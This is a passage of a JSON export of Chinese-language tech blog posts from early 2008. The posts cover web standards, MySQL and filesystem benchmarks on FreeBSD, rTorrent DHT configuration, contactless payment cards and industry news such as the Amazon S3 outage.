    "body": "有些人發現 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 的個人頁面出現了 <a href=\"http://openid.net/\" rel=\"tag\">OpenID</a> 的蹤跡：<a href=\"http://www.readwriteweb.com/archives/flickr_to_authenticate_openid.php\" rel=\"tag\">Flickr to Authenticate OpenID - Is This The Yahoo! CES Announcement?</a>。\r\n\r\n不過暫時想不到什麼好的東西是目前 <a href=\"http://www.flickr.com/services/api/\" rel=\"tag\">Flickr API</a> 做不到的。倒是 Flickr 把目前的 API 轉換到 <a href=\"http://oauth.net/\" rel=\"tag\">OAuth</a> 會比較有趣？",
    "title": "Flickr 將支援 OpenID (Identity Provider)"
  },
  {
    "id": "1406",
    "body": "<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 3 支援了 <a href=\"http://www.w3.org/\" rel=\"tag\">W3C</a> 所制定的 Cross-Site XMLHttpRequest：<a href=\"http://ejohn.org/blog/cross-site-xmlhttprequest/\">Cross-Site XMLHttpRequest</a>。\r\n\r\n從 John Resig 的說明文件可以看到 client side 不需要修改任何程式碼，而 server side 只需要多送一組 <code>Access-Control</code> 的 header 就可以了。想了一下，似乎沒有額外的安全性問題。\r\n\r\n不過要等到能廣泛使用至少要再過個兩年... (IE8？)",
    "title": "Cross-Site XMLHttpRequest"
  },
  {
    "id": "1407",
    "body": "在<a href=\"http://www.richyli.com/blog/\" rel=\"tag\">李怡志</a>寫完「<a href=\"http://www.richyli.com/blog/2008/01/wikipedia.html\" rel=\"tag\">拿Wikipedia條目當企業網站的一個範例</a>」之後，我就在猜到底多久會被<a href=\"http://zh.wikipedia.org/wiki/Wikipedia:%E5%BF%AB%E9%80%9F%E5%88%A0%E9%99%A4\" rel=\"tag\">快速刪除</a> XD\r\n\r\n查了一下刪除紀錄 (透過「編輯本頁」看)，是 <a href=\"http://zh.wikipedia.org/wiki/User:Shizhao\" rel=\"tag\">Shizhao</a> 刪的。\r\n\r\n其實反過來這樣想，因為你根本不知道誰去買 <a href=\"https://adwords.google.com/\" rel=\"tag\">Google AdWords</a> 廣告，所以你可以故意幫一些名氣不夠大的人物、團體買 Google AdWords 廣告，指到 <a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 上，然後讓人爆破後被快速刪除。\r\n\r\n而相同的，你也可以自己買 Google AdWords 指到 Wikipedia 的頁面上，但是在 Wikipedia 上辯稱跟你沒有關係。\r\n\r\n<strong>Update</strong>：應該是 AdWords。",
    "title": "快速刪除：中壢真理堂"
  },
  {
    "id": "1408",
    "body": "大約半年前寫的「<a href=\"http://blog.gslin.org/archives/2007/08/17/1272/\" rel=\"tag\">使用浮水印取代 DRM</a>」看到音樂產業決定要使用了 (<a href=\"http://slashdot.org/yro/08/01/12/163240.shtml\" rel=\"tag\">Digital Watermarks to Replace DRM</a>)，但是有幾個問題要考慮：\r\n<ul>\r\n\t<li>浮水印演算法本身是不是有公開？如果沒有公開，上法院後要如何證明給法官看？</li>\r\n\t<li>浮水印破壞音質的情況如何？能抵抗的程度如何？</li>\r\n</ul>",
    "title": "使用浮水印取代 DRM"
  },
  {
    "id": "1409",
    "body": "十天沒寫文章的原因不是沒空寫，是因為我寫了之後一直發不出來 :(\r\n\r\n我之前用的是 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> trunk 版 (2.4)，用 <a href=\"http://xdebug.org/\" rel=\"tag\">xdebug</a> 追蹤後，確認發表時會卡在 wpdb 的某個函數裡面，一組 infinite loop，但又不知道是怎麼掉進去的... 曾經換過機器，在不同的 OS 以及 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 版本上跑，發現都還是一樣，最後找不到問題就 Downgrade 到 2.3.2，結果就沒問題了 Orz...\r\n\r\n先暫時這樣吧... (沒力)",
    "title": "奇怪的 WordPress 問題..."
  },
  {
    "id": "1410",
    "body": "累積太久沒寫，有些議題剛好可以合併起來看...\r\n\r\n第一個想到的是 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL AB</a> 被 <a href=\"http://www.sun.com/\" rel=\"tag\">Sun</a> 買下，以及在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到有人認為 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的 <a href=\"http://labs.google.com/papers/mapreduce.html\" rel=\"tag\">MapReduce</a> 成功是 Computer Science 界的一大退步 (<a href=\"http://slashdot.org/it/08/01/18/1813248.shtml\" rel=\"tag\">MapReduce — a Major Step Backwards?</a>)。\r\n\r\n把時間點再往前，拉到 <a href=\"http://www.oracle.com/\" rel=\"tag\">Oracle</a> 買下 Innobase Oy 及 <a href=\"http://en.wikipedia.org/wiki/Sleepycat_Software\" rel=\"tag\">Sleepycat Software</a> (Berkeley DB) 兩家公司時一般的反應 (分別是 2005 年十月、2006 二月)，以及買下後的進展...\r\n\r\n<a href=\"http://www.oracle.com/\" rel=\"tag\">Oracle</a> 買下 Sleepycat Software 後推出的 Berkeley DB 4.5 多了 Replication 的功能，並且在 Berkeley DB 4.6 對穩定性及大幅度修正。InnoDB 則是不斷的改進穩定度及效率，仍然是目前 MySQL 裡最常被使用的 Transactional Engine。以現在看起來，其實 Oracle 並沒有打算要以這個手段打擊 MySQL。\r\n\r\n話題回到 Slashdot 那篇 MapReduce，其實在 comment 有人講得很清楚了：簡單的東西並沒有什麼不好，重點在於能不能解決問題。如果能用簡單的方法解決問題，就不要拿複雜的方法解決，25 年前就發展出的技術並沒有什麼不好。\r\n\r\n另外我提一下，最近寫過後才發現 Berkeley DB 其實相當好用 (支援 Transactional Operation 及 Replication)，沒人用的原因是 PHP/Perl/Python/Ruby 上的 Library 都沒有把實做所有的功能，目前只有標準的 dbm operation 而已。換句話說，如果你要用這些好用的 Operation 得自己刻 C/C++/Java。由於開發上的問題，很多人寧可用 MySQL 放...\r\n\r\n由於 Berkeley DB 看起來很棒 (傳言 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 與 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的使用者資料都是用 Berkeley DB 為底層架起來的)，初期的目標是希望有個 Reliable DBM-style Database，類似 <a href=\"http://aws.amazon.com/simpledb\" rel=\"tag\">Amazon SimpleDB</a> 的軟體放使用者資料，透過 TCP connection 與 PHP 端溝通...",
    "title": "最近的幾件事情..."
  },
  {
    "id": "1411",
    "body": "<a href=\"http://slashdot.org/it/08/01/21/0652248.shtml\">微軟以「安全」理由打算在 2/12 時強迫使用者升級至 IE7</a>，如果不想要升級的使用者必須手動設定。\r\n\r\n對於 IE6 only 的網站來說，這當然不是什麼好消息。微軟的這項行為等於是強迫他們要處理 IE7 相容性問題。對於使用者來說，在所有的網站都必須讓 IE6 可以正常運作下，用 IE6 的問題反而會比較小。\r\n\r\n但對於網頁開發者來說，能夠僅快把 IE6 的市佔率壓低到可以忽略的程度，功德無量...",
    "title": "微軟將於二月將瀏覽器強制升級至 IE7"
  },
  {
    "id": "1412",
    "body": "這陣子跑機房發現 IBM R60 真的太重，於是決定把 X31 修好帶著跑，修起來其實蠻快的，星期五晚上送修，星期一就打電話來報價，然後回家把 OS 裝好後開始用，現在看起來狀況還不錯...\r\n\r\n我有習慣把 Driver 收到 <a href=\"http://del.icio.us/\">del.icio.us</a> 上，所以重灌的時候只要把網路卡的 Driver 先裝起來跑一次 Windows Update 後，把還沒裝進去的部份裝好就可以了：<a href=\"http://del.icio.us/gslin/x31\">gslin's bookmarks tagged with \"x31\" on del.icio.us</a>。\r\n\r\n至於資料的部份，我大多數都是放在網路上，大多數都是 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\">PuTTY</a> 連出去做事，所以也不太需要再處理 :)",
    "title": "把 X31 修好..."
  },
  {
    "id": "1413",
    "body": "<a href=\"http://www.freebsd.org/\">FreeBSD</a> 7.0 看起來會在二月放出，似乎會有很多人想要上 <a href=\"http://opensolaris.org/os/community/zfs/\">ZFS</a> 測試，不過我們自己拿 FreeBSD ZFS 在 RAID 上的穩定度其實還不太夠，另外效率上也不太讓人滿意...\r\n\r\n有台 12 顆硬碟的機器，上面是跑 amd64 1GB 記憶體 (目前應該是 4GB 了，下面測試時是 1GB)，ZFS 的架構是前六顆硬碟跑一組 RAIDZ1，後六顆也跑一組。常常跑到 out of kernel memory，加到 4GB 後還是一樣，要改動開機參數，換句話說這部份還沒有寫的很傻瓜... 效率上，在刻意關掉 atime 以 \"FTP\" 測試 Random Read 的速度卡在 I/O，非常慘的數字：10MBytes/sec。\r\n\r\n另外最近剛好看到 <a href=\"http://www.joyeur.com/\">Joyent's weblog</a> 上提到他們在 ZFS 踩到大地雷：<a href=\"http://www.joyeur.com/2008/01/22/bingodisk-and-strongspace-what-happened\">Bingodisk and Strongspace: What Happened?</a>。(不過他們跑的好像是 <a href=\"http://opensolaris.org/\">OpenSolaris</a>)\r\n\r\n我個人覺得，目前拿 ZFS 跑 RAID 的 Code Quality 還要再加強，不過對於一般個人用，拿來打 snapshot 應該是沒什麼問題，我們在 <a href=\"http://www.pixnet.net/\">Pixnet</a> 是拿 ZFS 放 log，因為可以開 filesystem gzip，這樣就不用每天跑 cron 執行壓縮程式...",
    "title": "FreeBSD ZFS 的穩定度"
  },
  {
    "id": "1414",
    "body": "<a href=\"http://jquery.com/\">jQuery</a> 的大魔頭 <a href=\"http://ejohn.org/blog/\">John Resig</a> 在他的 blog 上討論了各瀏覽器對 Sub-Pixel 的處理方式：<a href=\"http://ejohn.org/blog/sub-pixel-problems-in-css/\">Sub-Pixel Problems in CSS</a>。\r\n\r\n在他文章裡，他產生了一個 50px 的 div，裡面包著四個 div，設定寬度為 \"25%\"，然後丟到 Opera 9、Safari 3、IE 6、IE 7、Firefox 3，以及 Firefox 2 裡測試。另外用 Javascript 去抓 DOM 裡面的寬度。這個問題也可以解釋為什麼某些站台的 Navigation Bar 在不同的瀏覽器下會有奇怪的「殘影」。",
    "title": "在 CSS 裡對於 Sub-Pixel 的計算方式"
  },
  {
    "id": "1415",
    "body": "<strong>Update</strong>：原作者拿到硬碟後測試了一天，發現寫入速度不盡理想：<a href=\"http://feedblog.org/2008/01/30/24-hours-with-an-ssd-and-mysql/\">24 Hours with an SSD and MySQL</a>。\r\n\r\nSSD 硬碟應該要列入耗材...\r\n\r\n國外有一些先驅已經在測試把 <a href=\"http://dev.mysql.com/\">MySQL</a> 的 data 丟上去跑：<a href=\"http://feedblog.org/2008/01/26/thoughts-on-ssd-and-mysql-51/\">Thoughts on SSD and MySQL 5.1</a>，這篇裡建議把 <code>sync_binlog</code> 與 <code>innodb_flush_log_at_trx_commit</code> 保留預設打開的狀態 (用 <a href=\"http://www.innodb.com/\">InnoDB</a> 時，如果為了效率會把這兩個都關掉，尤其是後者，有寫入動作時的速度 (INSERT/UPDATE/DELETE) 會差十倍到三十倍)，不過我覺得為了減少 I/O 還是要開。另外在 OS Filesystem 層的參數也要注意。\r\n\r\n寫這篇才想到 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 7.0 有 <a href=\"http://en.wikipedia.org/wiki/ISCSI\">iSCSI</a> 可以測試，來測看看效率...",
    "title": "用 SSD 當作 MySQL 的儲存空間"
  },
  {
    "id": "1416",
    "body": "如果你有在用官方的 Nightly build，應該有發現這幾天在換 icon。如果你沒有在用，在 <a href=\"http://blog.mozilla.com/faaborg/2008/01/22/navigation-toolbar-on-windows/\">Navigation Toolbar on Windows</a> 這篇可以看到新樣式的圖案。\r\n\r\n一出來後在 <a href=\"http://forums.mozillazine.org/\">mozillaZine</a> 上的 <a href=\"http://forums.mozillazine.org/viewforum.php?f=23\">Firefox Builds</a> 論壇就開始狂批有夠醜 (我第一眼看到也覺得很 Orz)：<a href=\"http://forums.mozillazine.org/viewtopic.php?t=612634\">Discussions on the Default Theme for Firefox 3....</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2232618543/\"><img src=\"http://farm3.static.flickr.com/2234/2232618543_16d71a0d95.jpg\" alt=\"\" /></a>\r\n\r\n另外今天更新上去後的 nightly build 會讓 <a href=\"http://addons.mozilla.org/firefox/addon/60\">Web Developer</a> 失效，有在用的人自己注意一下，重新安裝 1/29 的版本，或是放著等之後修正... (參考 <a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=411817\">Bug 411817 – Web Developer addon not available/working for Firefox 3</a>)\r\n\r\n另外 CSS layout 的部份應該也有修正某些東西，因為我用 <a href=\"http://www.bloglines.com/\">Bloglines</a> 的時候發現左半部出現 scrollbar，這是 1/29 版本沒有的。\r\n\r\n<strong>Update</strong>：2008020504 版讓 Web Developer 回來了，應該是決定 backward-compatible 的關係...",
    "title": "Firefox 3 預定的新樣式 Icon，以及..."
  },
  {
    "id": "1418",
    "body": "今天最大的新聞應該還是 <a href=\"http://www.microsoft.com/\">Microsoft</a> 向證交所提出併購 <a href=\"http://www.yahoo.com/\">Yahoo!</a> 要求的新聞，不過這種事情也只能看他變化，然後依據變化決定在台灣要怎麼因應。\r\n\r\n另外一件事情是 <a href=\"http://twitter.com/\">Twitter</a> 離開 <a href=\"http://www.joyeur.com/\">Joyeur</a>，搬到 <a href=\"http://www.nttamerica.com/\">NTT America</a>，也就是說，Twitter 將來會自己建立整個網站的底層。可以預期的是，他們會遭遇到一堆問題，然後想辦法解決，然後再遭遇到其他問題，再想辦法解決，然後發現需要在 Application 層將 <a href=\"http://dev.mysql.com/\">MySQL</a> 拆開...\r\n\r\n這個轉換的動作應該還會有一個月，或是更久的陣痛期吧...\r\n\r\nRef：<a href=\"http://blog.twitter.com/2008/02/twitter-chooses-ntt-america-enterprise.html\">Twitter Chooses NTT America Enterprise Hosting Services</a>。",
    "title": "Twitter 離開 Joyeur"
  },
  {
    "id": "1419",
    "body": "rTorrent 0.8.0 與 LibTorrent 0.12.0 已經釋出：<a href=\"http://rakshasa.no/pipermail/libtorrent-devel/2008-January/001470.html\">LibTorrent 0.12.0 and rTorrent 0.8.0 released</a>。\r\n\r\n<a href=\"http://libtorrent.rakshasa.no/\">rTorrent</a> 是我在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 下最喜歡用的 <a href=\"http://www.bittorrent.org/\">BitTorrent</a> 下載軟體，CPU 使用量率比起 Windows 上的情況好不少... (曾經跑過 400Mbps 的情況，當時 CPU 與 I/O 都還沒滿載，看起來是 peer 的下載速度被灌滿了)\r\n\r\n這個版本最大的改變在於官方支援 <a href=\"http://zh.wikipedia.org/wiki/%E5%88%86%E6%95%A3%E5%BC%8F%E9%9B%9C%E6%B9%8A%E8%A1%A8\">DHT</a>，以及將 <a href=\"http://en.wikipedia.org/wiki/Peer_exchange\">Peer Exchange</a> (PEX) 改為預設啟用，前者終於可以使得 rTorrent 在完全連不上 Tracker 時也可以動了，後者則是代表 PEX 的穩定性足以變成預設值了。\r\n\r\n晚點測試看看，沒問題就丟 pr 更新 <a href=\"http://www.freshports.org/net-p2p/rtorrent-devel\">net-p2p/rtorrent-devel</a>。",
    "title": "rTorrent 0.8.0 (以及 LibTorrent 0.12.0)"
  },
  {
    "id": "1420",
    "body": "<a href=\"http://www.mastercard.com/paypass/\">Mastercard PayPass</a> 與 <a href=\"http://usa.visa.com/personal/cards/paywave/index.html\">Visa payWave</a> 是這兩家提供的非接觸式信用卡交易，趁著<a href=\"https://www.cathaybk.com.tw/\">國泰世華銀行</a>換卡的時候拿到的，測了一下發現各有優缺點。\r\n\r\n先拿到的是 Visa payWave，在 <a href=\"http://www.okcvs.com.tw/\">OK 便利店</a> (<a href=\"http://zh.wikipedia.org/wiki/OK%E4%BE%BF%E5%88%A9%E5%BA%97_(%E5%8F%B0%E7%81%A3)\">來來超商</a>) 可以使用，用過三四次，使用的感覺相當差，我自己感應從來沒成功過，都是店員拿走，看著螢幕操作。感應時間超過三秒鐘也是一個很討厭的地方，看起來是回到發卡銀行進行交易認證。另外一個地方是<a href=\"http://www.ikari.com.tw/\">怡客咖啡</a>，用過一次，是自己感應成功的，不過感應時間還是很久。\r\n\r\n再來是 Mastercard payPass，我在<a href=\"http://www.wellcome.com.tw/\">頂好超市</a>用過三四次，都是自己感應成功。交易的速度快是一個重點，不過在頂好使用 payPass 不論金額都要額外簽名。另外是<a href=\"http://www.hilife.com.tw/\">萊爾富</a>，依照<a href=\"http://www.hilife.com.tw/E8-service/E8_6.asp\">這篇</a>的說明，接受<a href=\"http://www.esunbank.com.tw/\">玉山</a>與國泰世華的 payPass，交易的速度上也沒什麼問題。\r\n\r\n不過 Mastercard payPass 在頂好消費的時候有回贈 $20 (在當筆消費直接抵掉)，我問了店員，結果店員也不知道，回到家裡在網路上找半天也沒找到，讓人很 <a href=\"http://zh.wikipedia.org/wiki/%E5%A4%B1%E6%84%8F%E9%AB%94%E5%89%8D%E5%B1%88\">Orz</a> 啊...",
    "title": "Mastercard PayPass 與 Visa payWave"
  },
  {
    "id": "1421",
    "body": "純粹只是整理的時候想到的，當初 COIL #26 出現這個畫面的時候有很多人都有想惡搞的感覺... XD\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2237382421/\"><img src=\"http://farm3.static.flickr.com/2154/2237382421_9cf833ebcf.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2238172664/\"><img src=\"http://farm3.static.flickr.com/2291/2238172664_362a2219ed.jpg\" alt=\"\" /></a>",
    "title": "無題"
  },
  {
    "id": "1422",
    "body": "測試的結論是，<a href=\"http://www.freebsd.org/\">FreeBSD</a> 現在缺乏穩定而且高效率的 Filesystem 讓 MySQL MyISAM 使用。\r\n\r\n先解釋一下現在的環境，有兩台 <a href=\"http://www.tyan.com/\">Tyan</a> Server，上面都是 Dual Quad Core 與 12GB RAM (6*2GB)，接兩顆 73GB SCSI 硬碟，兩台的差異在於 CPU，新進的這台是 E5410 (2333Mhz，2*6144KB L2)，舊的是 E5320 (1866Mhz，2*4096KB L2)。\r\n\r\n舊的是目前 <a href=\"http://www.pixnet.net/\">PIXNET</a> production 的 MySQL database，跑 <a href=\"http://www.debian.org/ports/amd64/\">Debian/amd64</a>，kernel 是 2.6.22，檔案系統是 <a href=\"http://en.wikipedia.org/wiki/XFS\">XFS</a>。另外一台則是前陣子另外進的，裝了 FreeBSD/amd64 7.0-BETA2，然後透過 make kernel &amp; make world 升級到 7.0-PRERELEASE，跑 SCHED_ULE，檔案系統是 UFS2。依照慣例，noatime 與 nodiratime 之類的參數都會設上去，兩台都是跑 MySQL 5.1.22-rc，都是 MySQL slave。\r\n\r\n要複製 slave 很簡單，把 production 停機 (利用使用者比較少的時候，其他的 slave 會負責這台本來的事情)，整個目錄複製一份到新的 FreeBSD 上，改 server_id 後跑起來後 MySQL 會跟 master 更新。\r\n\r\n然後用 <a href=\"http://www.freshports.org/databases/mytop\">databases/mytop</a> 看 replication delay 的情況 (原版的 mytop 沒有這個訊息，這是 FreeBSD ports patch 的功能)，發現即使是放著跑 replication sync，某些時候 UPDATE 的速度反而會跟不上 master，跟不上時的 I/O 是滿載的 (透過 gstat 看的)\r\n\r\n目前測過最好的情況是這樣跑：gstripe -s 16384 將 da{0,1} 串起來，用 async + noatime。其他的情況包括：\r\n<ul>\r\n\t<li>gstripe -s 16384 + gjournal + async + noatime：日誌類的 Filesystem 在 DB 這類用法的速度不會提昇，與預料的差不多。</li>\r\n\t<li>gstripe -s 16384 + <a href=\"http://en.wikipedia.org/wiki/Soft_updates\">soft updates</a> + noatime：畢竟要維持 consistent，速度慢一些。</li>\r\n\t<li>單顆硬碟 + async + noatime：也如同預期的，速度只有一半...</li>\r\n</ul>\r\n以效率來看，短期內還是會跑 Debian/amd64 養 MySQL...\r\n\r\n另外補充一點，本來是在開啟 gjournal 的情況下用 <a href=\"http://samba.org/rsync/\">rsync</a> 把資料複製到本機，結果發生 kernel panic，後來是先複製完再使用 gjournal，這個部份還要到其他機器看看到底是怎麼一回事...",
    "title": "FreeBSD 上的 MySQL 效率"
  },
  {
    "id": "1423",
    "body": "在 <a href=\"http://ycorpblog.com/2008/02/06/introducing-all-you-can-eat-web-hosting/\">Introducing all-you-can-eat web hosting</a> 這篇裡提到新的 Web hosting service 將是 $11.95/month (最低三個月的合約)，不限空間及頻寬。\r\n\r\n不過看了 <a href=\"http://smallbusiness.yahoo.com/webhosting/hostingfeatures.php\">Web Hosting Features</a> 後發現，這個平台似乎沒有人在更新，<a href=\"http://www.php.net/\">PHP</a> 與 <a href=\"http://dev.mysql.com/\">MySQL</a> 都是用 out-of-date 的版本，PHP 4.3 (!) + MySQL 4.1 (!)，看了<a href=\"http://help.yahoo.com/l/us/yahoo/smallbusiness/webhosting/php/php-33.html\">支援的 PHP module 列表</a>也發現一堆問題，主要的幾個包括了 <a href=\"http://gmplib.org/\">GMP</a> 沒編進去 (<a href=\"http://openid.net/\">OpenID</a> 常用，不過有些 OpenID library 會偵測有沒有 bcmath 可以替代)，FTP、IMAP/POP3/NNTP 也沒有支援，LDAP、MySQLi、SQLite 這些也沒進去，一堆 XML 的 library 也是...\r\n\r\n跑的是 <a href=\"http://www.freebsd.org/\">FreeBSD</a>，我猜是 RELENG_4 系列的 Y!BSD，不過這點目前就不能夠確認了。\r\n\r\n這個 Project 看起來只是丟出來做業績而已，對於不會自己改程式，或是不想要自己改程式的人，還是不要自己找麻煩，$11.95/month 的價錢在其他地方租應該還是可以租到用不完的空間及頻寬。",
    "title": "Yahoo! 推出 Unlimited Web Hosting"
  },
  {
    "id": "1424",
    "body": "在 <a href=\"http://blog.gslin.org/archives/2008/02/02/1419/\">rTorrent 0.8.0 (以及 LibTorrent 0.12.0)</a> 這篇提到了 <a href=\"http://libtorrent.rakshasa.no/\">rTorrent</a> 把 <a href=\"http://zh.wikipedia.org/wiki/%E5%88%86%E6%95%A3%E5%BC%8F%E9%9B%9C%E6%B9%8A%E8%A1%A8\">DHT</a> 做進去了，實際跑了以後發現有一些要注意的。\r\n\r\n除了 Manual 外，主要參考官方網站的這份文件：<a href=\"http://libtorrent.rakshasa.no/wiki/RTorrentUsingDHT\">Using DHT</a>。\r\n\r\n第一個是 rTorrent 0.8.0 預設是把 DHT 關閉的，要使用 DHT 另外有個先決條件是 session directory 開啟以儲存 DHT cache。所以在 <code>.rtorrent.rc</code> 裡要設定 <code>dht = on</code>，以及 <code>session = /foo/bar/session</code>。\r\n\r\n第二個是 rTorrent 預設的 DHT UDP port 是 6881，所以請把他改掉。設法是改成 <code>dht_port = 12345</code>。(挑一個自己喜歡的數字吧？)\r\n\r\n第三個是 rTorrent 預設是沒有 DHT node 的，要「養」起始節點的方式有三個方法，第一種是抓有 DHT node 的 torrent，不過就我知道的情況，這種 torrent 並不流行；第二種是抓一個 public torrent，讓他透過這些節點更新，這也是比較推薦的方式；第三種是自己輸入 IP 及 port。\r\n\r\n第二種方式中的 public torrent 檔如果一時間想不到，可以抓 <a href=\"http://www.debian.org/\">Debian</a> 光碟的 torrent 檔：<a href=\"http://www.debian.org/CD/torrent-cd/\">Downloading Debian CD images with BitTorrent</a>。\r\n\r\n<a href=\"http://www.freebsd.org/\">FreeBSD</a> 上的 <a href=\"http://www.freshports.org/net-p2p/rtorrent-devel/\">rtorrent-devel</a> 已經更新，想要測試的人可以踴躍參與...",
    "title": "rTorrent 0.8.0 測試"
  },
  {
    "id": "1425",
    "body": "在 <a href=\"http://en.wikipedia.org/wiki/ZFS\">ZFS</a> 上順便測了一下 <a href=\"http://dev.mysql.com/doc/refman/6.0/en/\">MySQL 6.0</a> (以 6.0.3 版測試) 的 <a href=\"http://forge.mysql.com/wiki/Falcon\">Falcon Engine</a>，紀錄下一些東西：\r\n<ul>\r\n\t<li>Falcon 與 <a href=\"http://www.innodb.com/\">InnoDB</a> 類似，以一組檔案儲存資料庫的檔案，所以不太容易備份，不像 MyISAM 有 <a href=\"http://dev.mysql.com/doc/refman/5.1/en/mysqlhotcopy.html\">mysqlhotcopy</a> 可以用。</li>\r\n\t<li>寫入效率上相當差，即使開了 <code>falcon_disable_fsync=1</code> 還是很慢，以四個 client 倒資料進去，寫入速度約 MyISAM 的 1/10 ~ 1/20，以一個 client 倒也是一樣的情況。瓶頸不在 CPU (800% 的量大約用掉 2%) 與 I/O (以 gstat 看約 50% busy)，暫時還看不出問題。</li>\r\n\t<li>SELECT 的最佳化似乎有問題，對有 index 的 column 下了幾次有用到 <code>ORDER BY</code> 的 simple query，看反應速度很像 table scan，但 <code>EXPLAIN</code> 出來的結果都顯示有使用 index。</li>\r\n</ul>\r\nReplication 與 Transaction 暫時還沒測，也許應該先測 <a href=\"http://www.primebase.com/xt/\">PBXT Engine</a>...",
    "title": "MySQL Falcon 的一些事情"
  },
  {
    "id": "1426",
    "body": "就算再忙，也要幹勦一下...\r\n\r\n這三天的簽呈真是靠盃多，而且這東西寫起來真是浪費時間浪費體力浪費生命 (還好是採購簽呈，至少寫了還有意義)，我一定要想辦法教 <a href=\"http://slzzp.blogspot.com/\">slzzp</a> 與 <a href=\"http://blog.pixnet.net/repeat\">repeat</a> 寫簽呈...\r\n\r\n這樣就廢了三天，下班前沒力了...",
    "title": "寫不完的簽呈"
  },
  {
    "id": "1427",
    "body": "<a href=\"http://aws.amazon.com/s3\">Amazon S3</a> 服務中斷兩個小時：<a href=\"http://www.roughtype.com/archives/2008/02/amazons_s3_util.php\">Crash: Amazon's S3 utility goes down</a>，在服務中斷的兩個小時內有大量的 500 回應。\r\n\r\n有很多服務受到影響，國內比較有感覺的應該是 <a href=\"http://twitter.com/\">Twitter</a> 的 Profile 圖片 (他們沒有用 Proxy Server 快取一層，而直接從 Amazon S3 吐圖還蠻讓人意外的)，另外 <a href=\"http://wordpress.com/\">WordPress.com</a> 應該也受到影響 (不過他們有用 Proxy Server，熱門檔案應該沒有受到影響)。\r\n\r\n這兩天應該會看到 <a href=\"http://www.amazon.com/\">Amazon</a> 的公告。\r\n\r\n<strong>Update</strong>：比較詳細的原因出來了，這篇被認為是官方的說明，解釋為某種 DDoS 攻擊造成認證系統超載：<a href=\"http://developer.amazonwebservices.com/connect/message.jspa?messageID=79978#79978\">Re: Massive (500) Internal Server Error.outage started 35 minutes ago</a>。",
    "title": "Amazon S3 服務中斷兩個小時"
  },
  {
    "id": "1428",
    "body": "<a href=\"http://en.wikipedia.org/wiki/Tim_O%27Reilly\">Tim O'Reilly</a> 在他的 Blog 上提到，自 1950 年開始美國最高法院的判決電子資料上網，讓人公開使用：<a href=\"http://radar.oreilly.com/archives/2008/02/court_decisions_online.html\">Court Decisions Online</a>。\r\n\r\n台灣也已經做一陣子了，<a href=\"http://www.judicial.gov.tw/\">司法院</a>的「<a href=\"http://jirs.judicial.gov.tw/datascop.asp\">司法院法學資料全文檢索資料開放範圍</a>」可以看到有哪些資料已經可以在網站上找，比較常用的兩個：<a href=\"http://jirs.judicial.gov.tw/FJUD/FJUDQRY01_1.aspx\">判決書查詢</a>、<a href=\"http://jirs.judicial.gov.tw/FJUD/FJUDQRY01_E_1.aspx\">簡易案件查詢</a>。當然，不要忘記<a href=\"http://law.moj.gov.tw/\">全國法規資料庫</a>。",
    "title": "美國的法院判決上網公開查詢"
  },
  {
    "id": "1429",
    "body": "在 <a href=\"http://torrentfreak.com/\">TorrentFreak</a> 看到的，<a href=\"http://www.bittorrent.org/\">BitTorrent</a> 的研發團隊決定要把某個洞補起來：<a href=\"http://torrentfreak.com/bittorrent-devs-introduce-comcast-busting-encryption-080215/\">BitTorrent Developers Introduce Comcast Busting Encryption</a>。\r\n\r\n一開始 <a href=\"http://www.bittorrent.org/\">BitTorrent</a> 是以 Port 號碼的方式避開管制，但很多人都學會跳號碼後久沒用了 (甚至有些軟體支援啟動時隨機選號碼)，接下來就進入 Content Filtering 的階段，一開始是透過 BitTorrent 連線一開始的 handshake pattern 管制，後來 Obfuscation 一出來後就失效了，最近是透過 client 與 tracker 的 HTTP 資訊過濾，而這個洞一直到最近，才被 BitTorrent 團隊提出改善方法：<a href=\"http://www.bittorrent.org/beps/bep_0008.html\">Tracker Peer Obfuscation</a>。\r\n\r\n這個新的方法是讓軟體與 tracker 連線時所傳輸的 IP/port 資訊也加密，避免過濾的設備利用這些資訊。其中會以 infohash 當 shared secret，並加上一些處理後產生 <a href=\"http://en.wikipedia.org/wiki/RC4\">RC4</a> key 加密。\r\n\r\n剩下的方法剩正向表列 Content Filtering 的方式，然後看情況走向 SSL-compatible...",
    "title": "BitTorrent 補 Obfuscation 的不足"
  },
  {
    "id": "1430",
    "body": "又多了一套字型可以用了：<a href=\"http://wqy.sourceforge.net/cgi-bin/index.cgi?ZenHei\">文泉驿开源矢量中文字体</a>，包括了 GB2312、Big5，以及日韓文，以 GPL 發行。(請注意，關於 GPL Fonts 的問題請參考 <a href=\"http://www.gnu.org/licenses/gpl-faq.html#FontException\">How does the GPL apply to fonts?</a>)\r\n\r\n不過有些字在放大後可以看出來字體基線沒有對齊 (像是「驛正黑」這三個字)，這點就比較沒辦法了。下面是文泉驛正黑的字型配合 <a href=\"http://blog.gslin.org/archives/2007/10/21/1340/\">GDI++</a> 的情況：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2271171714/sizes/o/\"><img src=\"http://farm3.static.flickr.com/2042/2271171714_3733531889.jpg\" alt=\"\" /></a>",
    "title": "新的 GPL 字型：文泉驛正黑"
  },
  {
    "id": "1431",
